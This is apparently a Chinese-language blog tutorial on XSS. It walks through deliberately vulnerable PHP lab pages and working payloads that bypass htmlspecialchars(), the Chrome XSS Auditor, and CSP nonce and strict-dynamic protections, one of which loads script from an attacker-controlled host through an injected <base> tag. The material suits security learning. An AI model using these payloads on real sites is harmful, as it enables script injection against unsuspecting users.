XSS從放棄到再次入坑

放棄到再次入坑

大概是半年多前我開始接觸網頁安全,就從XSS(Cross-Site-Scripting)開始學起。當時學得非常單純,筆記都還留在XSS,Learning and Playing這篇文章上,也就理解了一些XSS的危險,三種分類,以及黑名單的防禦機制和繞過方式。寫完那篇筆記天真地覺得前端的漏洞都非常雞肋,網路上找找cheatsheet來繞過黑名單就好,直到最近參加完類似RCTF0CTF的國際比賽,才又嗅出XSS驚人的趣味。

前備知識

開始前必須重新認識一下網頁安全中有哪些角色:

  1. W3C
    所有的網頁都奠基在這個萬國協議,在這個協議之上還支撐html,css,js等協議
  2. 瀏覽器廠商
  3. 網頁開發者
  4. 黑客(Maybe安全研究人員)
    除此之外,同源策略的限制也非常重要…

再次認識XSS

XSS分成三種:

  1. 反射型XSS(Reflected)
    強調網頁與使用者的互動,多是通過GET直接將內容顯示在網頁上面導致彈窗
  2. 儲存型XSS(Stored)
    將使用者丟入資料庫的資料顯示出來導致彈窗
  3. DOM XSS
    通過對DOM的操作導致彈窗
    1和2很好區別,就是有沒有存進資料庫,再來重要的是:1和2都會經過後端,而3不會

天真的XSS黑名單防禦

如果看過了我的XSS,Learning and Playing這篇文章就很容易了解,單純限制使用者輸入某些字元很容易就被繞過。據說htmlspecialchars()對防禦XSS非常有效

echo htmlspecialchars($input);

如果我在input丟了<script>alert(1)</script>就會發現,他被完全轉換成字串顯示在頁面上。原因就是htmlspecialchars鎖定(&,',",<,>)這幾個符號將他們轉成字串,聽起來很有力的手段卻存在能繞過的場景:

  1. 開發人員在錯誤的地方使用了htmlspecialchars()
  2. 我可以指定網頁的編碼方式
    假設我能將網頁指定為UTF-7的編碼,而<script>alert(1)</script>經過編碼後也正好沒有這個個被鎖定的特殊字元
  3. htmlspecialchars($input)存在於value的屬性之中
<!DOCTYPE html>
<html>
<head>
</head>
<body>

<?php
$str = $_GET["keyword"];

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相關的结果 😓 .</h2>";
?>

<form action="http://18.216.228.129:8788/index.php" method="GET">

<input name='keyword'  value=<?php echo htmlspecialchars($_GET['keyword']); ?>>

<input type=submit name=submit value="搜索" />

</body>
</html>  

如果我直接輸入<script>alert(1)</script>

htmlspecialchars

因為htmlspecialchars的關係,甚至想要閉合開頭的<h2>時都會被轉成string。其實這個場景有兩個點可以攻擊,第一個就是<h2>,第二個則是<input>!我可以看到輸入的值經由htmlspecialchars()轉換後留在value=""裡,所以除了閉合tag,我還可以試著閉合attribute

// Payload
?keyword=" onclick=alert(1)
// ?keyword=< onclick=alert(1)
// ?keyword=> onclick=alert(1)

插入後就變成<input name="keyword" value="{“}" onclick="alert(1)">value被閉合掉了,順便加上了click的事件,只要我按一下就會彈窗,XSS成功。依照我所了解的htmlspecialchars(),他應該是會利用"{special chars}"特殊符號的部分包成字串做處理,因此< onclick=alert(1)> onclick=alert(1)也能夠成功XSS,因為注入之後就會變成<input name="keyword" value="<" onclick="alert(1)">

注意這裡還沒有繞過Chrome的XSS Auditor,所以在Chrome上做的話會被block

XSS Auditor

還記得之前網頁安全參與的角色中有瀏覽器,不管是Chrome,Firefox,還是IE都對XSS的防禦做了努力。IE首先引入了XSS Filter,而在2010年Chrome和Safari都引入了XSS Auditor,Firefox則是引入了Noscript。我先聚焦在Chrome的XSS Auditor,如何設定可以在response的標頭裡面看到X-XSS-Protection的選項,值可以是0或是1;mode=block
php或是apache的環境檔都可以做設定:

// php
header("X-XSS-Protection: 1;mode=block");
// apache .htaccess
<ifmodule mod_headers.c>
    header set X-XSS-Protection "1;mode=block"
</ifmodule>

XSS-Auditor會檢查request和response中的內容會不會在頁面中產生惡意的效果,並做下面3種處理:

X-XSS-Protection: 0
X-XSS-Protection: 1     // 刪除惡意的內容,顯示剩下正常的頁面
X-XSS-Protection: 1;mode=block   // 阻擋頁面,重新導向空白頁面

2016/03,@filedescriptor 在twitter上面舉辦投票,讓開發者選出哪一種XSS-Auditor的設定是最糟糕的

filedescriptor

結果非常令人意外,大部分的開發者都對XSS-Auditor有誤解:認為X-XSS-Protection: 0是最糟糕的選項,事實上X-XSS-Protection: 1才是最糟糕的選項,瀏覽器會刪除惡意的內容並顯示正常的頁面。XSS-Auditor常常會無法辨別Js的Library是不是非惡意的,而導致開發者本來引入的Library被作為惡意內容處理。
這裏我給大家帶來了一個繞過XSS-Auditor的場景:

<!DOCTYPE html>
<body>

<h1>Bypass XSS Auditor</h1>

<h3>1️⃣1️⃣1️⃣1️⃣1️⃣1️⃣1️⃣1️⃣1️⃣1️⃣1️⃣1️⃣1️⃣1️⃣</h3>
<p>First Level: echo $_GET['👀'];echo $_GET['😍']; </p>
<?php echo $_GET['👀'];?><?php echo $_GET['😍'];?>

<h3>2️⃣2️⃣2️⃣2️⃣2️⃣2️⃣2️⃣2️⃣2️⃣2️⃣2️⃣2️⃣2️⃣2️⃣</h3>
<p>Second Level: Template literals</p>
<p>echo $_GET['🐹'];</p>
<p>echo "Now could you please change to another search engine?";</p>
<p>echo $_GET['🐱'];</p>
<p>Results for Google: <?php echo $_GET['🐹']?></p>
<p>Now could you please change to another search engine?</p>
<p>Results for Firefox: <?php echo $_GET['🐱'];?></p>

</body>
</html>

?👀=hello&😍=hi&🐹=hello&🐱=hi參數的注入效果如下:
xssauditor
如果在單個參數裡面注入<script>alert(1)</script>很容易被XSS-Auditor給阻擋。令人感到玩味的是,在這個場景下,我可以讓兩個參數合作來繞過XSS-Auditor!
Level one的思路非常簡單:

?👀=<script>a&😍=lert(1)</script>

Level two的思路比較不一樣,但是場景比較常見,當我們輸入如下的payload:

?🐹=<script>&🐱=alert(1)</script>

DOM會這樣顯示:

<p>
    Results for Google: 
    <script>
        </p>
        <p>Now could you please change to another search engine?</p>
        <p>Results for Firefox: alert(1)
    </script>
</p>

兩個注入點中間的<p>tag和文字真的令人感到礙眼,但是當我用註解?🐹=<script>/*&🐱=*/alert(1)</script>想把它處理掉時,卻被XSS-Auditor抓到了。剩下一個辦法了,沒辦法把他們刪除,就把他們變成無意義的字串語句。Javascript ES6中能夠以backtick來多行串接字串樣板字面值

?🐹=<script>`&🐱=`;alert(1)</script>

DOM就會變成這樣顯示:

<p>
    Results for Google: 
    `<script>
        </p>
        <p>Now could you please change to another search engine?</p>
        <p>Results for Firefox: `;alert(1)
    </script>
</p>

XSS成功!
這裏我還沒閱讀XSS-Auditor的源碼,但是通過這個場景猜測:XSS-Auditor一次只會對我們的單個參數做檢查,所以無法檢查出多個參數注入的情況下,會不會有惡意的效果…

下次就來做XSS-Auditor的源碼審計吧…

CSP 內容安全策略

不管是XSS-Auditor還是htmlspecialchars都是黑名單的觀念,CSP則是白名單的觀念。Javascript要執行前一定要符合CSP的規則
規則的細節可以參考
CSP by DogeWatch
第一代的CSP輕鬆得被繞過,在這裡我就不再概述,可以參考我的cheatsheet,第二代和第三代的CSP跑出了nonce scriptstrict-dynamic的想法以限制外來腳本的執行…

  1. nonce script
    所有的script都必須帶有CSP中指定的nonce值:script nonce="{nonce}"
    攻擊的手段有兩類:預測nonce值繞過nonce
    下面就是我給大家帶來繞過nonce的場景
<h1>Try to bypass nonce script</h1>
<p id="para"> 🖕Something dirty you can take a look  ✌️ Use your own dirty with base.  </p>

<?php echo $_GET['a']; ?>

<!-- GET parameter is a -->

<script nonce="<?php echo $random;?>" type="text/javascript" src="/ano/dirty.js"></script>

</body>
</html>

// ano/dirty.js
var x = document.location.hash;
document.write(unescape(x));  

頁面中CSP規定,所有腳本執行都必須帶有$random,所以我們不能隨意插入?a=<script></script>。在這個場景下,我們主要利用的弱點是:CSP的不完善導致我們可以覆蓋頁面引入的js。在這個頁面中CSP沒有對base-uri做出限制,所以如果我們在a中注入:

?a=<base href="controlled.domain.com/">

頁面引入的js路徑就會變成src="controlled.domain.com/ano/dirty.js",這是一台我可以控制的主機,頁面雖然信任這個相對路徑,但是引入的卻是我的js,XSS成功!

  1. strict-dynamic
    @masakato 讓我真正理解什麼是strict-dynamic,九成的文章都說是為了讓nonce的傳播更加容易,應對越來越多框架的現代。核心概念最為重要:受信任的腳本所產生的腳本也是可信任的。假如說<script nonce="trusted-nonce">a.js</script>裡頭動態產出了腳本
    // a.js
    var script = document.createElement('script');
    script.src = 'test.com/js';
    document.body.appendChild(script);
    

    這個動態產生的script會不會因為沒有帶nonce而被阻擋呢?這時候我就需要strict-dynamic來幫助這個script受網頁信任。除此之外我還必須理解兩種html屬性:1.parser-created 2.parser-inserted,動態產生的腳本中只有parser-created的才能受到信任

parser

第一種為parser-created,第二種則為parser-inserted

在nonce的傳播更有效的場景下,2017年blackhat大會提出了Script Gadget的手法來繞過strict-dynamicScript Gadget就是指以已存在的js代碼繞過strict-dynamic,以下的場景就是用Require.JS作為gadget繞過的方法

<head>
<meta http-equiv=content-security-policy content="script-src 'nonce-<?php echo $random;?>' 'strict-dynamic';">
<script data-main="js/main.js"></script>
</head>
<body>
<h3>hello NCU babies hacker 🐼 </h3>
<?php
  echo $_GET["inj"];
?>
<script type="text/javascript" src="http://requirejs.org/docs/release/2.3.2/comments/require.js" nonce="<?php echo $random;?>"></script>
</body>
</html>

// js/main.js
define(function (require) {
    var shirt = require("./shirt");
    var logger = require("./logger");

    alert("Shirt color of 1pwnch is: " + shirt.color);
    logger.logTheShirt();
});

// js/shirt.js
define({
    color: "White or Black?",
    size : "Not Large I am not pig ok?"
});

// js/logger.js
define(function (require) {
    var shirt = require("./shirt");

    return {
        logTheShirt: function () {
            console.log("color: " + shirt.color + ", size: " + shirt.size);
        }
    };
});  

RequireJS是用來幫助開發者引用javascript的框架,主頁面會尋找data-main: main.js將這份js作為主要加載的檔案,在這份js中可以動態加載需要的檔案。所以一開始進到index.php就會有main.js中的效果:alert("Shirt color of 1pwnch is: White or Black?")shirt.color是在shirt.js中定義的,RequireJS的介紹差不多就到這裡。

為什麼RequireJS可以做為Script Gadget呢?它在找到data-main: src時,會以createElement的方式加載,所以如果我的payload是:

?inj=<script%20data-main="data:1,alert(1)"></script>

那就會在不需要nonce的情況下:

var script = document.createElement('script');
script.src = 'data:1,alert(1)';
document.body.appendChild(script);

這裏還有個小細節是data-main的加載先後,如果我插入data-main的位置在原頁面指定的前面,那我插入的data-main就不會被加載,一種被覆蓋掉的概念。

而 @masakato 在今年五月底發的CVE,也是針對RequireJS的利用。瀏覽器(Firefox)的擴展像是resource://是不需要nonce就能夠受網頁信任的。剛好resource:///chrome/devtools/modules/devtools/client/jsonview/lib/下面也有個利用點,這也代表我們在任何網站插入內容,就算沒有這個gadget,也可以自己引入,可惜的是Firefox很快得就把這個漏洞給修補了。
推薦閱讀原文:CVE-2018-5175: CSP strict-dynamic bypass in Firefox

Reference

  1. CVE-2018-5175: Universal CSP strict-dynamic bypass in Firefox
  2. google/security-research-pocs
  3. XSS Auditor